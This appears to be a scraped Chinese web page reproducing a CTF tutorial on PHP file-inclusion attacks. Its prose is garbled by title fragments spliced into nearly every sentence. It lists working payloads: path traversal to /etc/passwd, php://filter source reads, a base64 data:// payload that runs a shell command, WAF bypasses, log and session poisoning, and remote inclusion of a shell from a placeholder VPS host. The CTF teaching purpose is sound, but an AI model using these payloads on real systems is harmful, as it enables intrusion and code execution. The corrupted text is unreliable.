搜索

ctf文件包含解题思路

发表于 2026-10-17 02:19:47 来源:烟消火灭网

看到URL里出现?含解file=、?题思page=、?含解path=这类参数,第一反应就是题思试文件包含。这是含解CTF里最常见的漏洞类型之一,门槛低但玩法多,题思从读源码到拿shell都能靠它。含解

先拿几个payload探路。题思最基础的含解是?file=/etc/passwd,能读出来说明存在任意文件读取。题思如果被过滤了,含解试试?题思file=../../../../etc/passwd,目录穿越加上去。含解有时候后端会拼后缀,题思比如include($_GET['file'].'.php'),含解那就用?file=../../../../etc/passwd%00截断——不过PHP 5.3.4之后%00就失效了,遇到老题目还能用。

读到了/etc/passwd只是开始。真正有价值的是读源码,比如?file=php://filter/convert.base64-encode/resource=index.php,把文件用base64编码后输出,避免PHP代码被直接执行。拿到base64字符串解码,就能看到后端逻辑,找flag位置或者过滤规则。这个手法几乎每道文件包含题都会用到,算基本功。

如果php://filter被禁了,试试其他伪协议。php://input配合POST数据可以执行任意代码,前提是allow_url_include=On。命令执行用?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==,data协议在allow_url_include开启时也能打。还有php://filter/read=convert.base64-encode/resource=这种链式写法,绕过一些简单的关键词过滤。

实战中经常遇到过滤。比如WAF把php://、file://、../都拦了。这时候可以试试大小写混写Php://Filter,或者用php://filter/convert.base64-encode|convert.base64-encode/resource=这种双编码绕过。目录穿越被拦就试....//....//,或者URL编码%2e%2e%2f。有些题目过滤了flag关键词,那就读/f*或者用通配符。

日志包含是另一个常见考点。如果读不到flag,但能访问Apache的access.log,就把PHP代码写进User-Agent,然后?file=/var/log/apache2/access.log包含日志执行。Nginx日志在/var/log/nginx/access.log。前提是知道日志路径,而且Web进程对日志有读权限。有些题目会故意把日志路径放在提示里,比如?file=/var/log/nginx/access.log直接就能打。

还有session文件包含。PHP的session文件存在/tmp/sess_,如果能把恶意代码写进session,再包含这个文件就能执行。通常配合文件上传或者反序列化来写入session。CTF里遇到过一道题,上传功能把文件名写进session,然后文件包含session文件 getshell。

远程文件包含(RFI)现在很少见了,因为allow_url_include默认关闭。但如果题目环境开了,直接?file=http://your-vps/shell.txt就能包含远程文件。没有公网VPS的话,用data://协议替代,效果一样。

最后提一个容易忽略的点:/proc/self/environ。这个文件包含当前进程的环境变量,如果能控制User-Agent写入环境变量,再包含它就能执行代码。不过现代系统对/proc的访问限制越来越多,成功率不如以前。

文件包含的解题路径基本就这几条:读源码找线索、伪协议执行代码、日志/session包含getshell。具体用哪个,看题目给了什么条件、过滤了什么。多试多调,别死磕一个payload。

随机为您推荐
友情链接
版权声明:本站资源均来自互联网,如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

Copyright © 2016 Powered by ctf文件包含解题思路,烟消火灭网   sitemap

回顶部